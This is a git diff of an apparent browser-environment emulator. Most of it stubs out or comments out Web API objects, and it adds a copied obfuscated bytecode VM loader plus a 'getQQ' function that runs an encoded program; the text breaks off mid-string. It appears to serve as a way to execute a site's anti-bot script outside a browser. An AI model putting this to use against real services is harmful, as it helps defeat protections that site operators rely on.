-bodavm.toolsFunc.defineProperty('SpeechGrammarList', "item", {configurable:true, enumerable:true, writable:true, value:function item (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechGrammarList'].prototype, "SpeechGrammarList", "item", arguments)}},'prototype'); +// SpeechGrammarList对象 + +//bodavm.memory.globalobj['SpeechGrammarList'] = function SpeechGrammarList(){this._boarg= new bodaobj.window.SpeechGrammarList();this._boisinit=bodavm.config.isinit} + +//bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SpeechGrammarList'], "SpeechGrammarList"); + +//bodavm.toolsFunc.defineProperty('SpeechGrammarList', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechGrammarList'].prototype, "SpeechGrammarList", "length_get", arguments)}, set:undefined},'prototype'); + +//bodavm.toolsFunc.defineProperty('SpeechGrammarList', "addFromString", {configurable:true, enumerable:true, writable:true, value:function addFromString (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechGrammarList'].prototype, "SpeechGrammarList", "addFromString", arguments)}},'prototype'); + +//bodavm.toolsFunc.defineProperty('SpeechGrammarList', "addFromUri", {configurable:true, enumerable:true, writable:true, value:function addFromUri (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechGrammarList'].prototype, "SpeechGrammarList", "addFromUri", arguments)}},'prototype'); + +//bodavm.toolsFunc.defineProperty('SpeechGrammarList', "item", {configurable:true, enumerable:true, writable:true, value:function item (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechGrammarList'].prototype, "SpeechGrammarList", "item", arguments)}},'prototype'); + +webkitSpeechGrammarList = bodavm.memory.globalobj['SpeechGrammarList']; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/webkitSpeechRecognition.js b/env_xbb_lastest_jsdom/env/webkitSpeechRecognition.js index 6af67c87..fea5b1a5 100644 --- a/env_xbb_lastest_jsdom/env/webkitSpeechRecognition.js +++ b/env_xbb_lastest_jsdom/env/webkitSpeechRecognition.js @@ -1,4 +1,5 @@ -// SpeechRecognition对象 +// SpeechRecognition对象 +/* bodavm.memory.globalobj['SpeechRecognition'] = function SpeechRecognition(){this._boarg= new bodaobj.window.SpeechRecognition();this._boisinit=bodavm.config.isinit} bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SpeechRecognition'], "SpeechRecognition"); bodavm.memory.globalobj['SpeechRecognition'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; @@ -21,4 +22,5 @@ bodavm.toolsFunc.defineProperty('SpeechRecognition', "onstart", {configurable:tr bodavm.toolsFunc.defineProperty('SpeechRecognition', "onend", {configurable:true, enumerable:true, get:function onend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechRecognition'].prototype, "SpeechRecognition", "onend_get", arguments)}, set:function onend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechRecognition'].prototype, "SpeechRecognition", "onend_set", arguments)}},'prototype'); bodavm.toolsFunc.defineProperty('SpeechRecognition', "abort", {configurable:true, enumerable:true, writable:true, value:function abort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechRecognition'].prototype, "SpeechRecognition", "abort", arguments)}},'prototype'); bodavm.toolsFunc.defineProperty('SpeechRecognition', "start", {configurable:true, enumerable:true, writable:true, value:function start (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechRecognition'].prototype, "SpeechRecognition", "start", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SpeechRecognition', "stop", {configurable:true, enumerable:true, writable:true, value:function stop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechRecognition'].prototype, "SpeechRecognition", "stop", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SpeechRecognition', "stop", {configurable:true, enumerable:true, writable:true, value:function stop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechRecognition'].prototype, "SpeechRecognition", "stop", arguments)}},'prototype'); */ +webkitSpeechRecognition = bodavm.memory.globalobj['SpeechRecognition']; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/webkitSpeechRecognitionError.js b/env_xbb_lastest_jsdom/env/webkitSpeechRecognitionError.js index 6d428efa..0a169a12 100644 --- a/env_xbb_lastest_jsdom/env/webkitSpeechRecognitionError.js +++ b/env_xbb_lastest_jsdom/env/webkitSpeechRecognitionError.js @@ -1,7 +1,9 @@ -// SpeechRecognitionErrorEvent对象 +// SpeechRecognitionErrorEvent对象 +/* bodavm.memory.globalobj['SpeechRecognitionErrorEvent'] = function SpeechRecognitionErrorEvent(){if (!(this instanceof SpeechRecognitionErrorEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'SpeechRecognitionErrorEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SpeechRecognitionErrorEvent'], "SpeechRecognitionErrorEvent"); bodavm.memory.globalobj['SpeechRecognitionErrorEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; bodavm.memory.globalobj['SpeechRecognitionErrorEvent'].__proto__=bodavm.memory.globalobj['Event']; bodavm.toolsFunc.defineProperty('SpeechRecognitionErrorEvent', "error", {configurable:true, enumerable:true, get:function error (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechRecognitionErrorEvent'].prototype, "SpeechRecognitionErrorEvent", "error_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SpeechRecognitionErrorEvent', "message", {configurable:true, enumerable:true, get:function message (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechRecognitionErrorEvent'].prototype, "SpeechRecognitionErrorEvent", "message_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('SpeechRecognitionErrorEvent', "message", {configurable:true, enumerable:true, get:function message (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechRecognitionErrorEvent'].prototype, "SpeechRecognitionErrorEvent", "message_get", arguments)}, set:undefined},'prototype'); */ +webkitSpeechRecognitionError = bodavm.memory.globalobj['SpeechRecognitionErrorEvent']; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/webkitSpeechRecognitionEvent.js b/env_xbb_lastest_jsdom/env/webkitSpeechRecognitionEvent.js index 7e5e8d13..6a3d6a5f 100644 --- a/env_xbb_lastest_jsdom/env/webkitSpeechRecognitionEvent.js +++ b/env_xbb_lastest_jsdom/env/webkitSpeechRecognitionEvent.js @@ -1,7 +1,15 @@ -// SpeechRecognitionEvent对象 -bodavm.memory.globalobj['SpeechRecognitionEvent'] = function SpeechRecognitionEvent(){if (!(this instanceof SpeechRecognitionEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'SpeechRecognitionEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SpeechRecognitionEvent'], "SpeechRecognitionEvent"); -bodavm.memory.globalobj['SpeechRecognitionEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['SpeechRecognitionEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('SpeechRecognitionEvent', "resultIndex", {configurable:true, enumerable:true, get:function resultIndex (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechRecognitionEvent'].prototype, "SpeechRecognitionEvent", "resultIndex_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SpeechRecognitionEvent', "results", {configurable:true, enumerable:true, get:function results (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechRecognitionEvent'].prototype, "SpeechRecognitionEvent", "results_get", arguments)}, set:undefined},'prototype'); +// SpeechRecognitionEvent对象 + +//bodavm.memory.globalobj['SpeechRecognitionEvent'] = function SpeechRecognitionEvent(){if (!(this instanceof SpeechRecognitionEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'SpeechRecognitionEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} + +//bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SpeechRecognitionEvent'], "SpeechRecognitionEvent"); + +//bodavm.memory.globalobj['SpeechRecognitionEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; + +//bodavm.memory.globalobj['SpeechRecognitionEvent'].__proto__=bodavm.memory.globalobj['Event']; + +//bodavm.toolsFunc.defineProperty('SpeechRecognitionEvent', "resultIndex", {configurable:true, enumerable:true, get:function resultIndex (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechRecognitionEvent'].prototype, "SpeechRecognitionEvent", "resultIndex_get", arguments)}, set:undefined},'prototype'); + +//bodavm.toolsFunc.defineProperty('SpeechRecognitionEvent', "results", {configurable:true, enumerable:true, get:function results (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechRecognitionEvent'].prototype, "SpeechRecognitionEvent", "results_get", arguments)}, set:undefined},'prototype'); + +webkitSpeechRecognitionEvent = bodavm.memory.globalobj['SpeechRecognitionEvent']; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/webkitURL.js b/env_xbb_lastest_jsdom/env/webkitURL.js index 635b33c7..13d4284a 100644 --- a/env_xbb_lastest_jsdom/env/webkitURL.js +++ b/env_xbb_lastest_jsdom/env/webkitURL.js @@ -1,4 +1,5 @@ -// URL对象 +// URL对象 +/* bodavm.memory.globalobj['URL'] = function URL(){if (!(this instanceof URL)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'URL': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['URL'], "URL"); bodavm.toolsFunc.defineProperty('URL', "createObjectURL", {configurable:true, enumerable:true, writable:true, value:function createObjectURL (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].undefined, "URL", "createObjectURL", arguments)}}); @@ -17,3 +18,6 @@ bodavm.toolsFunc.defineProperty('URL', "hash", {configurable:true, enumerable:tr bodavm.toolsFunc.defineProperty('URL', "href", {configurable:true, enumerable:true, get:function href (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "href_get", arguments)}, set:function href (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "href_set", arguments)}},'prototype'); bodavm.toolsFunc.defineProperty('URL', "toJSON", {configurable:true, enumerable:true, writable:true, value:function toJSON (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "toJSON", arguments)}},'prototype'); bodavm.toolsFunc.defineProperty('URL', "toString", {configurable:true, enumerable:true, writable:true, value:function toString (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "toString", arguments)}},'prototype'); +*/ + +webkitURL = bodavm.memory.globalobj['URL']; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/ws.js b/env_xbb_lastest_jsdom/env/ws.js index 32c08f3b..18508742 100644 --- a/env_xbb_lastest_jsdom/env/ws.js +++ b/env_xbb_lastest_jsdom/env/ws.js @@ -1,5 +1,6 @@ -// ws对象 -bodavm.memory.globalobj['ws'] = { - _boisinit:bodavm.config.isinit - } -bodavm.memory.globalobj['ws'].__proto__=bodavm.memory.globalobj['WebSocket'].prototype; +// ws对象 + +bodavm.memory.globalobj['ws'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.memory.globalobj['ws'].__proto__ = bodavm.memory.globalobj['WebSocket'].prototype; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/knowledge/binding.gyp b/env_xbb_lastest_jsdom/knowledge/binding.gyp new file mode 100644 index 00000000..46820633 --- /dev/null +++ b/env_xbb_lastest_jsdom/knowledge/binding.gyp @@ -0,0 +1,16 @@ +{ + "targets":[ + { + "target_name":"boda", + "sources":['./c++_src/main.cc'], + "include_dirs":[' t.length) && (o = t.length); + for (var n = 0, r = new Array(o); n < o; n++) + r[n] = t[n]; + return r + } + function d(t, o) { + var n = null == t ? null : "undefined" != typeof Symbol && t[Symbol.iterator] || t["@@iterator"]; + if (null != n) { + var r, e, i = [], u = !0, $ = !1; + try { + for (n = n.call(t); !(u = (r = n.next()).done) && (i.push(r.value), + !o || i.length !== o); u = !0) + ; + } catch (t) { + $ = !0, + e = t + } finally { + try { + u || null == n.return || n.return() + } finally { + if ($) + throw e + } + } + return i + } + } + function u(t) { + if (Array.isArray(t)) + return t + } + Object.fromEntries = Object.fromEntries || function(t) { + return t.reduce(function(t, o) { + var o = l(o, 2) + , n = o[0] + , o = o[1]; + return t[n] = o, + t + }, {}) + } + , + Array.prototype.fill || Object.defineProperty(Array.prototype, "fill", { + value: function(t) { + if (null == this) + throw new TypeError("this is null or not defined"); + for (var o = Object(this), n = o.length >>> 0, r = arguments[1] >> 0, e = r < 0 ? Math.max(n + r, 0) : Math.min(r, n), r = arguments[2], r = void 0 === r ? n : r >> 0, i = r < 0 ? Math.max(n + r, 0) : Math.min(r, n); e < i; ) + o[e] = t, + e++; + return o + } + }), + BAO_VM_LOADER = {}; + var m = "undefined" == typeof window ? "undefined" == typeof global ? Function("return this")() : global : window + , a = function c(f) { + var d = b(f), t = d.slice(0), e = 1 < arguments.length && void 0 !== arguments[1] ? arguments[1] : [[], m, m, , ], i = 2 < arguments.length && void 0 !== arguments[2] ? arguments[2] : [], u = 3 < arguments.length && void 0 !== arguments[3] ? arguments[3] : [], a = Object.fromEntries, v = String.fromCharCode, $ = 0, o = [, 0, , []], n = [], r, l; + for (u.__proto__ = Object.defineProperties(Error(), { + $1: { + get: [].shift.bind(u), + set: [].unshift.bind(u) + }, + $2: { + get: function() { + var t = [u[1], u[0]]; + u[0] = t[0], + u[1] = t[1] + }, + set: function(t) { + var o = [u[2], u[0]]; + u[0] = o[0], + u[2] = o[1] + } + }, + $3: { + get: function() { + return [].splice.call(u, 0, t[$++]).reverse() + } + } + }); r = t[$++]; ) + try { + var r = v(r), + y = "" === r + ? void (u.$1 = null) : "n" === r + ? void (u.$1 = -u.$1) : "ī" === r + ? void ($ -= t[$] - 1) : "e" === r + ? void (u.$1 = +u.$1) : "ð" === r + ? (o[0] = t[$++],o[1] = t[$++],o[2] = t[$++],void (o[4] = $)) : "÷" === r + ? void (u.$1 = t.slice($ + 1, $ += 1 + t[$]).map(function(t) {return v(997 ^ t)}).join("")) : "ˆ" === r + ? ($++,void (u.length = 0)) : "W" === r + ? void (i[t[$++]] = []) : "¦" === r + ? void (u.$1 = u.$1 == u.$1) : "7" === r + ? void (u.$1 = u.$1 % u.$1) : "ª" === r + ? void ($ = n[n.length - 1] - 2) : "Ĝ" === r + ? void (u.$1 = u.$1 >> u.$1) : ")" === r + ? void (i[t[$++]][0] = u.$1) : "‘" === r + ? void (u.$1 = u.$1 / u.$1) : "(" === r + ? function() {u.$1 = eval(u.$1[0])}() : "A" === r + ? void (u.$1 = u.$3) : "†" === r + ? void (u.$1 = u.$1 | u.$1) : "¹" === r + ? void (u.$1 = h(u.$1)) : "L" === r + ? void (u.$1 = u.$1 + u.$1) : "" === r + ? void (u.$1 = void 0) : "$" === r + ? function() {debugger}() : "" === r + ? void (u.$1 = u.$1 <= u.$1) : "&" === r + ? void (u.$1 = u.$1 < u.$1) : "5" === r + ? void (u.$1 = u.$1 instanceof u.$1) : "ô" === r + ? void u.$2 : "ā" === r + ? void ($ = n.pop()) : "\f" === r + ? void (u.$1 = !u.$1) : "í" === r + ? void (u.$2 = u) : "a" === r + ? void (u.$1 ? $ += 2 : $ += t[$ + 1] + 3) : "" === r + ? void u.$1 : "Ě" === r + ? void (u.$1 = u.$1.bind(null)) : "Ē" === r + ? void (u.$1 = a(u.$1)) : "T" === r + ? void (u.$1 = s(u.$1[u.$1], p(u.$1))) : "ö" === r + ? void (u.$1 = ~u.$1) : "O" === r + ? void 0 : "" === r + ? (u.$1 = i[t[$++]],void (u.$1 = 0)) : "3" === r + ? void ($ += t[$]) : "Ĩ" === r + ? void Function("$", "throw $")(u.$1) : "-" === r + ? void (u.$1 = u.$1[u.$1]) : "" === r + ? void (u.$1 = delete u.$1[u.$1]) : "l" === r + ? void (u.$1 = u.$1[u.$1] = u.$1) : "Ė" === r + ? void (u.$1 = !!t[$++]) : "^" === r + ? void (u.$1 = u.$1 in u.$1) : "\\" === r + ? (l = void 0,void (u.$1 = (l = u.$1)[u.$1].apply(l, p(u.$1)))) : "G" === r + ? void (u.$1 = u.$1 * u.$1) : "ï" === r + ? void (u.$1 = u.$1 >>> u.$1) : "E" === r + ? void n.push($ + t[$++]) : "ĝ" === r + ? void (u.$1 = u.$1 & u.$1) : ":" === r + ? void (u.$1 = u.$1 == u.$1) : "X" === r + ? void (u.$1 = e[t[$++]]) : "™" === r + ? void (u.$1 = u.$1 ^ u.$1) : "Ĕ" === r + ? void (u.$1 = u.$1 << u.$1) : "9" === r + ? o[0] ? void (o[3][0] = u.$1) : [u.$1] : "Ċ" === r + ? void (u.$1 = u.$1 - u.$1) : "" === r + ? void (u.$1 = t[$++]) : "¿" === r + ? function() { + var o = t[$++] + , n = i.slice(0) + , r = t.slice($ + 1, $ += t[$] + 1); + u.$1 = window.kkk = function BAO_VM_RUNNER() { + var t = o - arguments.length + , t = e[0].concat([].slice.call(arguments, 0, o).map(function(t) { + return [t] + }), new Array(0 <= t ? t : 0).fill().map(function(t) { + return [void 0] + })); + return c(r, [t, e[1], this || e[1], arguments, BAO_VM_RUNNER], n.slice(0), []) + } + }() : void 0; + if (y) + return y[0] + } catch (t) { + if (!o[0]) + throw t; + $ = o[1] + o[4], + u.$1 = t, + o[0] = 0 + } finally { + if (o[2] && o[3].length) + return o[3][0] + } + }; + BAO_VM_LOADER.run = function(t, o) { + if ("1.3.3" != t) + throw Error("version (".concat(t, "/", "1.3.3", ")")); + if (!Array.isArray(o)) + return [, ]; + for (var t = l(o, 3), n = t[0], r = t[1], e = t[2], i = [], u = 0, $ = 0; $ < e.length; $++) + r[u] === $ ? i.push(e.charCodeAt($) + 65536 * (n.charCodeAt(u++) + 1)) : i.push(e.charCodeAt($)); + return [a(i)] + } + , + BAO_VM_LOADER.version = "1.3.3" +}("undefined" == typeof BAO_VM_LOADER ? BAO_VM_LOADER = {} : BAO_VM_LOADER); + +////////// + +function getQQ(qq){ + BAO_VM_LOADER.run('1.3.3', ["￾㫝￾￿￿㫝￿￿杄颹ေþ￿þþþ", [3321, 3533, 3537, 3660, 3899, 3924, 3953, 7064, 7186, 7188, 7190, 7192, 7376, 7398, 11224, 11282, 11304, 11354, 11376, 11537, 11559], "W\u0000W\u0002W\u0003W\u0004W\u0005W\u0001÷\n΂ΉΊ·΄Ήα΍ΌΖX\u0001-÷\nΕ΄ΗΖ΀ΣΉΊ΄Αô-)\u0000¿\u0002ÑW\u0006W\u0007ˆË\u0002\u0000X\u0000-\u0002\u0000ô-\fa3\u0006ˆ\u0003A\u000093\u0003ˆ\u0000\u0002\u0001X\u0000-\u0002\u0000ô-\fa3\u000eˆ\u000b\u0002\u0001X\u0000-\u0002\u0000A\u0000íl3\u0003ˆ\u0000\u0002\u0001X\u0000-\u0002\u0000ô-÷\u0004ΕΐΖ΍ô-÷\u0005΄ΕΕΉΜ\u0002\u0001X\u0000-\u0002\u0000ô-÷\u0006Ϊ·Ώ΀ΆΑX\u0001-÷\u0004Ύ΀ΜΖ\u0002\u0000X\u0000-\u0002\u0000ô-A\u0001í\\A\u0002í\\\u0002\u0000X\u0000-\u0002\u0000ô-÷\tκκΕΗΊΑΊκκô-\fa3\rˆ\n\u0002\u0001X\u0000-\u0002\u0000ô-93\u0003ˆ\u0000X\u0004A\u0001\u0002\u0000\u0002\u0000X\u0000-\u0002\u0000ô-÷\tκκΕΗΊΑΊκκô-\u0002\u0001X\u0000-\u0002\u0000ô-A\u0002í\\9)\u0001÷\u0001Ϙ)\u0002÷@ΤΧΦΡΠΣ΢έάίήΩΨΫΪεδηζαΰγβνμο΄·Ά΁΀΃΂΍ΌΏΎΉΈ΋ΊΕΔΗΖΑΐΓΒΝΜΟϕϔϗϖϑϐϓϒϝϜώϊ)\u0003¿\u0002lW\bW\tW\nˆd\u0002\u0000X\u0000-\u0002\u0000ô-÷\nΆ΍΄ΗΦΊ΁΀ΤΑ\u0002\u0001X\u0000-\u0002\u0000ô-A\u0001í\\)\n\u001c\nô-\u0002ÿô\u0013\fa3,ˆ)÷&άΫγΤΩάΡκΦέΤηΤΦαΠηκΠηηϟυΡΪΨυΠΝΆ΀ΕΑΌΊ΋υϐĨ3\u0003ˆ\u0000\u001c\nô-9)\u0004÷\u0004·ΑΊ΄X\u0001ô¿\u0001УW\u000bW\fW\rW\u000eW\u000fW\u0010W\u0011W\u0012W\u0013W\u0014ˆЍ\u0002\u0001X\u0003÷\u0006Ή΀΋΂Α΍ô-ô¦\fa3'ˆ$÷!ζΜ΋Α΄ΝΠΗΗΊΗϟυΫΊΑυ΀΋Ίΐ΂΍υ΄Η΂ΐΈ΀΋ΑΖĨ3\u0003ˆ\u0000\u001c\u0002ô-)\u000e\u001c\u0003ô-)\u000f\u001c\u0004ô-)\u0010A\u0000)\u0011\u0002\u0000X\u0000-\u0002\u0000÷\u0000\u0002\u0000X\u0000-\u0002\u0000ô-ôLíl\u0002\u0000X\u0000-\u0002\u0000ô-÷\u0006Ή΀΋΂Α΍ô-\u0002\u0000X\u0000-\u0002\u0000ô-÷\u0006Ή΀΋΂Α΍ô-\u0002\u0003ô7ôĊ)\u0012\u0002\u0000\u0002\u0000X\u0000-\u0002\u0000ô-÷\u0006Ή΀΋΂Α΍ô-ô¦a3\rˆ\n\u0002\u0000X\u0000-\u0002\u0000ô-93\u0003ˆ\u0000E؈\u0002Ė\u0001ˆŏ\u001c\f\u0002\u0000íl\u001c\fô-\u001c\u0012ô-ô&a3ĸˆĵEĴˆ\u0002Ė\u0001ˆī\u001c\r\u001c\u0010ô-ĚA\u0001\u0002\u0000\u0002\u0000X\u0000-\u0002\u0000ô-\u001c\fô-A\u0002í\\\u0002\u0010ôĔ\u001c\u0010ô-ĚA\u0001\u0002\u0000\u0002\u0000X\u0000-\u0002\u0000ô-\u001c\fô-\u0002\u0001ôLA\u0002í\\\u0002\bôĔô†\u001c\u0010ô-ĚA\u0001\u0002\u0000\u0002\u0000X\u0000-\u0002\u0000ô-\u001c\fô-\u0002\u0002ôLA\u0002í\\ô†íl\u001c\u0011ô-÷\u0004ΕΐΖ΍\u001c\u000fô-÷\u0006Ά΍΄ΗΤΑ\u001c\rô-\u0002\u0012ôĜA\u0001í\\A\u0001í\\\u001c\u0011ô-÷\u0004ΕΐΖ΍\u001c\u000fô-÷\u0006Ά΍΄ΗΤΑ\u001c\rô-\u0002\fôĜ\u0002?ôĝA\u0001í\\A\u0001í\\\u001c\u0011ô-÷\u0004ΕΐΖ΍\u001c\u000fô-÷\u0006Ά΍΄ΗΤΑ\u001c\rô-\u0002\u0006ôĜ\u0002?ôĝA\u0001í\\A\u0001í\\\u001c\u0011ô-÷\u0004ΕΐΖ΍\u001c\u000fô-÷\u0006Ά΍΄ΗΤΑ\u0002?\u001c\rô-ôĝA\u0001í\\A\u0001í\\\u001c\f\u001c\fô-\u0002\u0003ôLíl\u001c\fô-\u001c\u0012ô-ô&\fa3\u0004ˆ\u0001ā3\u0003ˆ\u0000īı3\u0003ˆ\u0000āīŕ\u0002\u0000X\u0000-\u0002\u0000ô-÷\u0006Ή΀΋΂Α΍ô-\u001c\u0012ô-ôĊ)\u0013EDžˆ\u0002Ė\u0001ˆƼ¿\u0000%W\u0015ˆ!\u001c\u0014ô-)\u0015\u001c\u0015ô-a3\bˆ\u0005\u001c\u0015ô-93\fˆ\t\u001c\u0013ô-\u0002\u0001ô:9÷\u0005΄ΕΕΉΜX\u0002X\u0003A\u0002í\\a3}ˆz\u001c\r\u001c\u0010ô-ĚA\u0001\u0002\u0000\u0002\u0000X\u0000-\u0002\u0000ô-\u001c\fô-A\u0002í\\\u0002\u0010ôĔíl\u001c\u0011ô-÷\u0004ΕΐΖ΍\u001c\u000fô-÷\u0006Ά΍΄ΗΤΑ\u001c\rô-\u0002\u0012ôĜA\u0001í\\\u001c\u000fô-÷\u0006Ά΍΄ΗΤΑ\u001c\rô-\u0002\fôĜ\u0002?ôĝA\u0001í\\ôL\u001c\u000eô-ôL\u001c\u000eô-ôLA\u0001í\\ā\u001c\u0014Ė\u0001íl3\u0003ˆ\u0000¿\u0000%W\u0016ˆ!\u001c\u0014ô-)\u0016\u001c\u0016ô-a3\bˆ\u0005\u001c\u0016ô-93\fˆ\t\u001c\u0013ô-\u0002\u0002ô:9÷\u0005΄ΕΕΉΜX\u0002X\u0003A\u0002í\\a3¸ˆµ\u001c\r\u001c\u0010ô-ĚA\u0001\u0002\u0000\u0002\u0000X\u0000-\u0002\u0000ô-\u001c\fô-A\u0002í\\\u0002\u0010ôĔ\u001c\u0010ô-ĚA\u0001\u0002\u0000\u0002\u0000X\u0000-\u0002\u0000ô-\u001c\fô-\u0002\u0001ôLA\u0002í\\\u0002\bôĔô†íl\u001c\u0011ô-÷\u0004ΕΐΖ΍\u001c\u000fô-÷\u0006Ά΍΄ΗΤΑ\u001c\rô-\u0002\u0012ôĜA\u0001í\\\u001c\u000fô-÷\u0006Ά΍΄ΗΤΑ\u001c\rô-\u0002\fôĜ\u0002?ôĝA\u0001í\\ôL\u001c\u000fô-÷\u0006Ά΍΄ΗΤΑ\u001c\rô-\u0002\u0006ôĜ\u0002?ôĝA\u0001í\\ôL\u001c\u000eô-ôLA\u0001í\\\u001c\u0014Ė\u0001íl3\u0003ˆ\u0000Ė\u0000\fa3\u0004ˆ\u0001ā3\u0003ˆ\u0000īǂ\u001c\u0011ô-÷\u0004ΏΊΌ΋÷\u0000A\u0001í\\9íl¿\u0000ᓘW\u0017ˆᓔ\u001c\u0005ô-)\u0017\u001c\u0017ô-a3\bˆ\u0005\u001c\u0017ô-93ᒿˆᒼ¿\u0002ᒧW\u0018W\u0019W\u001aW\u001bW\u001cW\u001dW\u001eW\u001fW W!W\"W#W$ˆᒋA\u0000Ē)\u001a\u001c\u001aô-÷\u0003ΉΌ·A\u0000Ēíl)\u001b\u001c\u001bô-÷\u0004Χ΄Ζ΀¿\u0000̘W%ˆ̔¿\u0000\u0002ˆ\u0000)%÷\u0006΀ΝΑ΀΋΁¿\u0001ĥW&W'ˆğ\u001c%ô-÷\tΕΗΊΑΊΑΜΕ΀X\u0002íl\u001c%ô-ĚA\u0001\u0002\u0000A\u0000íT)'\u0002\u0002X\u0000-\u0002\u0000ô-a3\u001bˆ\u0018\u001c'ô-÷\u0005ΈΌΝά΋\u0002\u0002X\u0000-\u0002\u0000ô-A\u0001í\\3\u0003ˆ\u0000¿\u0000PW(ˆL\u001c'ô-÷\u000e΍΄ΖΪΒ΋εΗΊΕ΀ΗΑΜ÷\u0004Ό΋ΌΑA\u0001í\\\f)(\u001c(ô-a3\bˆ\u0005\u001c(ô-93\u001cˆ\u0019X\u0002÷\u0004Ό΋ΌΑô-\u001c'ô-÷\u0004Ό΋ΌΑô-ô:9÷\u0005΄ΕΕΉΜX\u0002X\u0003A\u0002í\\a39ˆ6\u001c'ô-÷\u0004Ό΋ΌΑ¿\u0000'ˆ%\u001c'ô-÷\u0006ρΖΐΕ΀Ηô-÷\u0004Ό΋ΌΑô-÷\u0005΄ΕΕΉΜX\u0002X\u0003A\u0002í\\íl3\u0003ˆ\u0000\u001c'ô-÷\u0004Ό΋ΌΑô-÷\tΕΗΊΑΊΑΜΕ΀\u001c'ô-íl\u001c'ô-÷\u0006ρΖΐΕ΀ΗX\u0002íl\u001c'ô-9A\u0002÷\u0006ΆΗ΀΄Α΀¿\u00006W)ˆ2X\u0002÷\u0006΀ΝΑ΀΋΁A\u0000í\\))\u001c)ô-÷\u0004Ό΋ΌΑô-÷\u0005΄ΕΕΉΜ\u001c)ô-X\u0003A\u0002í\\\u001c)ô-9A\u0002÷\u0004Ό΋ΌΑ¿\u0000\u0002ˆ\u0000A\u0002÷\u0005ΈΌΝά΋¿\u0001ŇW*W+W,W-ˆĽEéˆ\u0002Ė\u0001ˆà\u0002\u0000)+\u001c\u0001ô-ĚA\u0001\u0002\u0000\u0002\u0002X\u0000-\u0002\u0000ô-A\u0001í\\),\u001c,ô-\u001c+\u001c+ô-\u0002\u0001ôLíl\u001c+ô-\u0002\u0001ôĊô-)-\u001c+ô-\u001c,ô-÷\u0006Ή΀΋΂Α΍ô-ô\u0013a3Œˆ‰Eˆˆ\u0002Ė\u0001ˆ\u0002\u0002X\u0000-\u0002\u0000ô-÷\u000e΍΄ΖΪΒ΋εΗΊΕ΀ΗΑΜ\u001c-ô-A\u0001í\\a3\u001aˆ\u0017X\u0002\u001c-ô-\u0002\u0002X\u0000-\u0002\u0000ô-\u001c-ô-ô-íl3\u0003ˆ\u0000\u001c-\u001c,ô-\u001c+\u001c+ô-\u0002\u0001ôLíl\u001c+ô-\u0002\u0001ôĊô-íl\u001c+ô-\u001c,ô-÷\u0006Ή΀΋΂Α΍ô-ô\u0013\fa3\u0004ˆ\u0001ā3\u0003ˆ\u0000ī…3\u0003ˆ\u0000āīæ\u0002\u0002X\u0000-\u0002\u0000ô-÷\u000e΍΄ΖΪΒ΋εΗΊΕ΀ΗΑΜ÷\bΑΊζΑΗΌ΋΂A\u0001í\\a3&ˆ#X\u0002÷\bΑΊζΑΗΌ΋΂\u0002\u0002X\u0000-\u0002\u0000ô-÷\bΑΊζΑΗΌ΋΂ô-íl3\u0003ˆ\u0000A\u000